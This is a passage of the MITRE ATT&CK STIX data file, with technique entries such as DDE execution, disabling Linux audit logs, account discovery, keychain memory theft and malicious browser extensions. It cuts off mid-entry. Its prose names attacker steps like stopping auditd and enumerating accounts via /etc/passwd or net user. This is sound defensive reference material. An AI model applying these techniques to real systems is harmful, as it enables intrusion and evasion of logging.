                    "source_name": "Enigma Reviving DDE Jan 2018",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
                },
                {
                    "source_name": "NVisio Labs DDE Detection Oct 2017",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
                },
                {
                    "source_name": "SensePost MacroLess DDE Oct 2017",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-24T17:48:31.581Z",
            "name": "Dynamic Data Exchange",
            "description": "Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)\n\nMicrosoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection )\n\nDDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.4"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "created": "2020-03-11T14:49:36.954Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1204/002",
                    "external_id": "T1204.002"
                },
                {
                    "source_name": "Password Protected Word Docs",
                    "description": "Lawrence Abrams. (2017, July 12). PSA: Don't Open SPAM Containing Password Protected Word Docs. Retrieved January 5, 2022.",
                    "url": "https://www.bleepingcomputer.com/news/security/psa-dont-open-spam-containing-password-protected-word-docs/"
                },
                {
                    "source_name": "Mandiant Trojanized Windows 10",
                    "description": "Mandiant Intelligence. (2022, December 15). Trojanized Windows 10 Operating System Installers Targeted Ukrainian Government. Retrieved September 26, 2025.",
                    "url": "https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.623Z",
            "name": "Malicious File",
            "description": "An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001). Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, .cpl, .reg, and .iso.(Citation: Mandiant Trojanized Windows 10)\n\nAdversaries may employ various forms of [Masquerading](https://attack.mitre.org/techniques/T1036) and [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.(Citation: Password Protected Word Docs) \n\nWhile [Malicious File](https://attack.mitre.org/techniques/T1204/002) frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after [Internal Spearphishing](https://attack.mitre.org/techniques/T1534).",
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                    "phase_name": "execution"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.6",
            "x_mitre_remote_support": false
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f",
            "created": "2020-10-02T16:34:32.435Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591/003",
                    "external_id": "T1591.003"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-10-24T17:48:31.764Z",
            "name": "Identify Business Tempo",
            "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))",
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            "created": "2026-04-14T22:54:03.325Z",
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                    "url": "https://attack.mitre.org/techniques/T1685/004",
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                {
                    "source_name": "IzyKnows auditd threat detection 2022",
                    "description": "IzySec. (2022, January 26). Linux auditd for Threat Detection. Retrieved September 29, 2023.",
                    "url": "https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505"
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                {
                    "source_name": "ESET Ebury Feb 2014",
                    "description": "M.L\u00e9veill\u00e9, M.. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved April 19, 2019.",
                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
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                    "source_name": "Red Hat Linux Disable or Mod",
                    "description": "Red Hat. (n.d.). Retrieved April 15, 2026.",
                    "url": "https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing"
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            "name": "Disable or Modify Linux Audit System Log",
            "description": "Adversaries may disable or modify the Linux Audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules. \n\nOften referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.(Citation: IzyKnows auditd threat detection 2022)(Citation: Red Hat Linux Disable or Mod)\n\nWith root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: ESET Ebury Feb 2014)",
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            "created": "2017-05-31T21:30:51.330Z",
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            "modified": "2025-10-24T17:48:31.974Z",
            "name": "Security Software Discovery",
            "description": "Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1063) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\n\n### Windows\n\nExample commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.\n\n### Mac\n\nIt's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.",
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                    "description": "Hammond, Charlotte. Villadsen, Ole. Metrick, Kat.. (2023, November 21). Stealthy WailingCrab Malware misuses MQTT Messaging Protocol. Retrieved August 28, 2024.",
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                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
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            "created": "2020-10-02T16:40:47.488Z",
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                    "external_id": "T1592.001"
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                {
                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
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                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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            "modified": "2025-10-24T17:48:32.066Z",
            "name": "Hardware",
            "description": "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: hostnames, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the hardware infrastructure may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Compromise Hardware Supply Chain](https://attack.mitre.org/techniques/T1195/003) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
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            "created": "2017-05-31T21:31:01.759Z",
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                    "url": "https://attack.mitre.org/techniques/T1080",
                    "external_id": "T1080"
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                {
                    "source_name": "Retwin Directory Share Pivot",
                    "description": "Routin, D. (2017, November 13). Abusing network shares for efficient lateral movements and privesc (DirSharePivot). Retrieved April 12, 2018.",
                    "url": "https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
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            "modified": "2025-10-24T17:48:32.156Z",
            "name": "Taint Shared Content",
            "description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
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            "created": "2020-12-28T21:59:02.181Z",
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                {
                    "source_name": "AWS re Inforce Trust Mod",
                    "description": "AWS re Inforce. (2024, June). Retrieved April 15, 2026.",
                    "url": "https://d1.awsstatic.com/onedam/marketing-channels/website/aws/en_US/events/approved/reinforce-2025/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
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                {
                    "source_name": "AADInternals zure AD Federated Domain",
                    "description": "Dr. Nestori Syynimaa. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved September 28, 2022.",
                    "url": "https://o365blog.com/post/federation-vulnerability/"
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                    "source_name": "Microsoft - Azure AD Federation",
                    "description": "Microsoft. (2018, November 28). What is federation with Azure AD?. Retrieved December 30, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed"
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                {
                    "source_name": "Okta Cross-Tenant Impersonation 2023",
                    "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved February 15, 2024.",
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            "description": "Adversaries may add new domain trusts, modify the properties of existing domain trusts, or otherwise change the configuration of trust relationships between domains and tenants to evade defenses and/or elevate privileges.Trust details, such as whether or not user identities are federated, allow authentication and authorization properties to apply between domains or tenants for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.\n\nManipulating these trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, in Microsoft Active Directory (AD) environments, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002) without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate. An adversary may also convert an AD domain to a federated domain using Active Directory Federation Services (AD FS), which may enable malicious trust modifications such as altering the claim issuance rules to log in any valid set of credentials as a specified user.(Citation: AADInternals zure AD Federated Domain) \n\nAn adversary may also add a new federated identity provider to an identity tenant such as Okta or AWS IAM Identity Center, which may enable the adversary to authenticate as any user of the tenant.(Citation: Okta Cross-Tenant Impersonation 2023) This may enable the threat actor to gain broad access into a variety of cloud-based services that leverage the identity tenant. For example, in AWS environments, an adversary that creates a new identity provider for an AWS Organization will be able to federate into all of the AWS Organization member accounts without creating identities for each of the member accounts.(Citation: AWS re Inforce Trust Mod)",
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            "created": "2025-05-22T19:02:46.718Z",
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                    "external_id": "T1213.006"
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                {
                    "source_name": "Google Cloud Threat Intelligence UNC5537 Snowflake 2024",
                    "description": "Mandiant. (2024, June 10). UNC5537 Targets Snowflake Customer Instances for Data Theft and Extortion. Retrieved May 22, 2025.",
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            "description": "Adversaries may leverage databases to mine valuable information. These databases may be hosted on-premises or in the cloud (both in platform-as-a-service and software-as-a-service environments). \n\nExamples of databases from which information may be collected include MySQL, PostgreSQL, MongoDB, Amazon Relational Database Service, Azure SQL Database, Google Firebase, and Snowflake. Databases may include a variety of information of interest to adversaries, such as usernames, hashed passwords, personally identifiable information, and financial data. Data collected from databases may be used for [Lateral Movement](https://attack.mitre.org/tactics/TA0008), [Command and Control](https://attack.mitre.org/tactics/TA0011), or [Exfiltration](https://attack.mitre.org/tactics/TA0010). Data exfiltrated from databases may also be used to extort victims or may be sold for profit.(Citation: Google Cloud Threat Intelligence UNC5537 Snowflake 2024)",
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            "created": "2020-03-16T15:45:17.032Z",
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                    "url": "https://attack.mitre.org/techniques/T1573/001",
                    "external_id": "T1573.001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2026-05-12T15:12:00.623Z",
            "name": "Symmetric Cryptography",
            "description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",
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                "Linux",
                "macOS",
                "Network Devices",
                "Windows"
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            "type": "attack-pattern",
            "id": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "created": "2020-02-21T21:07:55.393Z",
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                    "url": "https://attack.mitre.org/techniques/T1087/001",
                    "external_id": "T1087.001"
                },
                {
                    "source_name": "id man page",
                    "description": "MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.",
                    "url": "https://linux.die.net/man/1/id"
                },
                {
                    "source_name": "groups man page",
                    "description": "MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.",
                    "url": "https://linux.die.net/man/1/groups"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "Elastic - Koadiac Detection with EQL",
                    "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.",
                    "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql"
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            "description": "Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as <code>net user</code> and <code>net localgroup</code> of the [Net](https://attack.mitre.org/software/S0039) utility and <code>id</code> and <code>groups</code> on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the <code>/etc/passwd</code> file. On macOS, the <code>dscl . list /Users</code> command can be used to enumerate local accounts. On ESXi servers, the `esxcli system account list` command can list local user accounts.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)",
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            "id": "attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b",
            "created": "2017-12-14T16:46:06.044Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1167",
                    "external_id": "T1167"
                },
                {
                    "source_name": "OS X Keychain",
                    "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
                    "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain"
                },
                {
                    "source_name": "External to DA, the OS X Way",
                    "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
                    "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way"
                },
                {
                    "source_name": "OSX Keydnap malware",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
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            "name": "Securityd Memory",
            "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)",
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            "created": "2020-10-01T01:18:35.535Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1586/001",
                    "external_id": "T1586.001"
                },
                {
                    "source_name": "AnonHBGary",
                    "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.",
                    "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"
                },
                {
                    "source_name": "NEWSCASTER2014",
                    "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
                    "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
                },
                {
                    "source_name": "BlackHatRobinSage",
                    "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
                    "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
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            "name": "Social Media Accounts",
            "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
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            "id": "attack-pattern--278716b1-61ce-4a74-8d17-891d0c494101",
            "created": "2025-03-30T22:12:27.799Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1176/001",
                    "external_id": "T1176.001"
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                {
                    "source_name": "Pulsedive",
                    "description": "  Pulsedive Threat Research. (2025, March 21). Rilide - An Information Stealing Browser Extension. Retrieved September 22, 2025.",
                    "url": "https://blog.pulsedive.com/rilide-an-information-stealing-browser-extension/"
                },
                {
                    "source_name": "Chrome Extension Crypto Miner",
                    "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.",
                    "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/"
                },
                {
                    "source_name": "xorrior chrome extensions macOS",
                    "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.",
                    "url": "https://www.xorrior.com/No-Place-Like-Chrome/"
                },
                {
                    "source_name": "Chrome Extensions Definition",
                    "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.",
                    "url": "https://developer.chrome.com/extensions"
                },
                {
                    "source_name": "ICEBRG Chrome Extensions",
                    "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
                    "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
                },
                {
                    "source_name": "Malicious Chrome Extension Numbers",
                    "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.",
                    "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf"
                },
                {
                    "source_name": "Chrome Extension C2 Malware",
                    "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20240608001937/https://kjaer.io/extension-malware/"
                },
                {
                    "source_name": "Catch All Chrome Extension",
                    "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)"
                },
                {
                    "source_name": "Banker Google Chrome Extension Steals Creds",
                    "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.",
                    "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/"
                },
                {
                    "source_name": "Browser Adrozek",
                    "description": "Microsoft Threat Intelligence. (2020, December 10). Widespread malware campaign seeks to silently inject ads into search results, affects multiple browsers. Retrieved February 26, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2020/12/10/widespread-malware-campaign-seeks-to-silently-inject-ads-into-search-results-affects-multiple-browsers/"
                },
                {
                    "source_name": "Browers FriarFox",
                    "description": "Raggi, Michael. Proofpoint Threat Research Team. (2021, February 25). TA413 Leverages New FriarFox Browser Extension to Target the Gmail Accounts of Global Tibetan Organizations. Retrieved November 17, 2024.",
                    "url": "https://www.proofpoint.com/uk/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global"
                },
                {
                    "source_name": "Stantinko Botnet",
                    "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.",
                    "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/"
                },
                {
                    "source_name": "Wikipedia Browser Extension",
                    "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Browser_extension"
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            "modified": "2025-09-22T17:00:42.545Z",
            "name": "Browser Extensions",
            "description": "Adversaries may abuse internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality to and customize aspects of internet browsers. They can be installed directly via a local file or custom URL or through a browser's app store - an official online platform where users can browse, install, and manage extensions for a specific web browser. Extensions generally inherit the web browser's permissions previously granted.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition) \n \nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores, so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary-controlled server or manipulate the mobile configuration file to silently install additional extensions. \n\nAdversaries may abuse how chromium-based browsers load extensions by modifying or replacing the Preferences and/or Secure Preferences files to silently install malicious extensions. When the browser is not running, adversaries can alter these files, ensuring the extension is loaded, granted desired permissions, and will persist in browser sessions. This method does not require user consent and extensions are silently loaded in the background from disk or from the browser's trusted store.(Citation: Pulsedive)\n  \nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the <code>profiles</code> tool to install malicious <code>.mobileconfig</code> files. In macOS 11+, the use of the <code>profiles</code> tool can no longer install configuration profiles; however, <code>.mobileconfig</code> files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS) \n \nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome 